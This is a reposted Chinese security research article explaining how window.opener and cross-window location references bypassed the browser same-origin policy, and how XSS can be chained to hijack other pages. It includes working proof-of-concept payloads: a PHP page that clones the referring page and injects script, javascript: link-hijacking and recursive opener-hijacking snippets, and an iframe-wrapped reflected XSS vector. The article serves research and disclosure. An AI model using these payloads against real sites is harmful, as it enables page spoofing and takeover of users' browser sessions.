转自:http://www.80vul.com/webzine_0x03/PSTZine_0x03_0x05.html
貌似是好久之前的文章了，今天读起来还是收获颇多啊
注:有很多code处都加了<!– –> 否则会被博客给转译
一、前言

   最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。

二、同源策略简叙

   同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。

三、理解window对象的同源策略

   窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：

–code————————————————————————-
<script language=”javascript”>
for(p in window)document.write(p+”<br>”);
</script>
——————————————————————————-

   这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
这些属性和方法就必须遵循同源策略。

   举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
属性并没有被拒绝访问。

–demo.html——————————————————————–
<!–
<scriptlanguage=”javascript”>  
function allPrpos(obj){     
     var props =”<table><tr><td>名称</td><td>值</td>”;          
     for(var p inobj){         
           if(typeof(obj[p])==”function”){  
                  obj[p]();  
            }else{                     
                 try  
                  {  
                         props+=”<tr><td>”+p+”</td><td>”+ obj[ p ] +”</td></tr>”;  
                  }  
                 catch (ex)  
                  {  
                  
                         props+=”<tr><td>”+p+”</td><td>”+ex.message+”</td></tr>”;  
                  }  
                      
            }  
      }  
  
      document.write(props+”</table>”);  
}  
  
function createWin() {
    newWin =window.open (“http://www.google.com”); 
   setTimeout(function(){allPrpos(newWin)},2000);
}

</script>

<buttononclick=”createWin()”>创建一个非同源子窗口测试</button>
–>
——————————————————————————-

四、窗口引用功能中的同源策略漏洞

4.1 父窗口引用子窗口的同源策略问题

   去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
行测试，会发现父窗口可以控制非同源子窗口location属性值。

–vul1.html——————————————————————–
<!–
<script language=”javascript”>
function createWin() { 
    newWin =window.open (“http://www.google.com”); 
   setTimeout(function(){newWin.location=”http://www.80sec.com”},2000);
}
</script>

<buttononclick=”createWin()”>创建一个非同源子窗口测试</button>
–>
——————————————————————————-

4.2 子窗口引用父窗口的同源策略问题

   逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。

–code————————————————————————-

javascript:window.opener.location =”http://www.80sec.com”;void(0);

——————————————————————————-

五、利用窗口引用漏洞劫持浏览器

   经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。

   我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
会产生什么可怕的后果。

   下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
以做更多的事情，所有的一切仅仅是因为点击了一个链接。

–hjk_ref.php——————————————————————
<!–
<?php
if (array_key_exists(“HTTP_REFERER”, $_SERVER)) {
$Url_Mirror = $_SERVER[“HTTP_REFERER”];
}
if(isset ($_GET[“ref”])) {
echo file_get_contents($_GET[“ref”]) .”<script>alert(\”I had been hijackingyour browser!\”)</script>”;
}
?>

<script language=”javascript”>
setTimeout(function(){window.opener.location=window.location+”?ref=<?echo$Url_Mirror;?>”},3000);   
</script>
–>
——————————————————————————-

   注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。

六、利用XSS漏洞劫持浏览器

   延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
XSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
讨论跨站师的终极技巧：

6.1 正向跨窗口劫持

   大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
框脚本。

–hijack_open.js—————————————————————

javascript:for(i=0;i<document.links.length;i++){document.links[i].onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location=”javascript:alert(“Ihad been hijacking your browser!”)”}catch(e){};returnfalse;},3000);return false;}};void(0);

——————————————————————————-

6.2 反向跨窗口劫持

   同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
框脚本。

–hijack_opener.js————————————————————-

javascript:window.opener.location=”javascript:alert(“I had beenhijacking your browser!”)”;void(0);

——————————————————————————-

6.3 极度危险的跨框架窗口引用劫持

   非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
非持久型的XSS，如下：

<iframesrc=”http://www.target.com/index.php?vul=xss”width=”0″height=”0″>

   在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。

–hijack_frame_opener.js——————————————————-
<script>
window.parent.opener.location=”javascript:alert(“I had beenhijacking your browser!”)”;
</script>
——————————————————————————-

6.4 极度危险的正反向跨窗口递归劫持

   luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
异常处理规避之间跨域页面的访问异常，代码如下：

–code————————————————————————-

javascript:(function(){varw=window;while(w.opener){w=w.opener;try{w.location=”javascript:alert(“Ihad been hijacking yourbrowser!”);void(1);”;}catch(e){}}})();void(0);

——————————————————————————-

   假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
以劫持B域之前的A域页面，从而实现“隔空打击”。

   同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。

   结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。

6.5 完全控制浏览器

   一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
师的终极目标 – 完全控制浏览器。

七、后记

   文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。

八、参考

1. http://en.wikipedia.org/wiki/Same_origin_policy
2.http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access
3. http://www.w3.org/TR/Window/
4. http://www.80sec.com/release/browser-hijacking.txt
5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html

-EOF———————————–